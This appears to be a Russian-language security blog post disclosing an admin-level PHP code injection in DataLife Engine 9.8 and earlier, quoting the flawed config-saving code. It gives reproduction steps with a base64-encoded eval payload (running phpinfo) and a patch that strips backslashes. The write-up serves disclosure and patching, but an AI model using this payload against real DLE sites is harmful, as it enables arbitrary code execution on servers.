Выполнение произвольного PHP кода DLE <= 9.8

Уязвимость существует из-за недостаточной фильтрации входных данных в файлах inc/options.php и inc/videoconfig.php. Пользователь с правами администратора может выполнить произвольный код в системе. Рассмотрим на примере файла inc/videoconfig.php.

За сохранение информации в файл data/videoconfig.php отвечает следующий код:

	…

	$save_con = $_POST['save_con']; //Получение параметров от пользователя

	…

	$save_con = $save_con + $video_config;
	
	$handler = fopen( ENGINE_DIR . '/data/videoconfig.php', "w" );
	
	fwrite( $handler, "<?PHP \n\n//Videoplayers Configurations\n\n\$video_config = array (\n\n" );
	foreach ( $save_con as $name => $value ) { //В этом блоке идет как фильтрация ключа, так и фильтрация значения
		
		$value = trim(strip_tags(stripslashes( $value )));
		$value = htmlspecialchars( $value, ENT_QUOTES, $config['charset']);
		$value = preg_replace( $find, $replace, $value );
			
		$name = trim(strip_tags(stripslashes( $name )));
		$name = htmlspecialchars( $name, ENT_QUOTES, $config['charset'] );
		$name = preg_replace( $find, $replace, $name );
		
		$value = str_replace( "$", "$", $value );
		$value = str_replace( "{", "{", $value );
		$value = str_replace( "}", "}", $value );
		
		$name = str_replace( "$", "$", $name );
		$name = str_replace( "{", "{", $name );
		$name = str_replace( "}", "}", $name );
		
		fwrite( $handler, "'{$name}' => \"{$value}\",\n\n" ); //Запись пары ключ-значение в файл
	
	}
	fwrite( $handler, ");\n\n?>" );
	fclose( $handler );
	
	...
}

Как видно из кода выше, ключ и значение каждого элемента массива save_con[] проходит фильтрацию на символы «{» , «}» , «$», а также удаление тегов и преобразование кавычек в HTML сущности. Но данный код не учитывает символ «\». Как известно, данный символ позволяет проэкранировать кавычку, следовательно, если мы добавим кавычку к концу параметра, то его завершающая кавычка будет проэкранирована и мы сможем записать произвольный PHP код в последующий параметр.

Для тестов можно использовать следующую последовательность:

  • Открываем настройки медиа;
  • В поле «Ширина» добавляем в конец символы «\\»;
  • В поле «Высота» вписываем следующий код:
,eval(base64_decode(cGhwaW5mbygpOw)),// 
  • Сохраняем и обновляем страницу.
Рис. 1. Выполненный PHP код в системе.

Для того, чтобы закрыть уязвимость, нужно выполнить следующую последовательность действий:

  • Открываем файл inc/videoconfig.php и перед строкой
fwrite( $handler, "'{$name}' => \"{$value}\",\n\n" );

добавить следующий код:

$name = str_replace("\\", "", $name);
$value = str_replace("\\", "", $value);
  • Открываем файл inc/options.php и строки выше добавляем перед следующей строкой:
fwrite( $handler, "'{$name}' => \"{$value}\",\n\n" );

На данный момент версия 9.8 не такая актуальная. Тем не менее множество сайтов до сих пор ее используют.

Поделиться ссылкой:

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

XHTML: В комментариях можно использовать теги | <a href="" title=""> | <abbr title=""> | <acronym title=""> | <b> | <blockquote cite=""> | <cite> | <code> | <del datetime=""> | <em> | <i> | <q cite=""> | <s> | <strike> | <strong> | <pre><code class="language-"> |.
Gravatars: Хотите чтобы был свой аватар в комментариях? Зайдите на Gravatar и зарегистрируйтесь.
Spam: Различные антиспам плагины могут быть активированы.

Всего: 0 комментов в 3 сниппетах.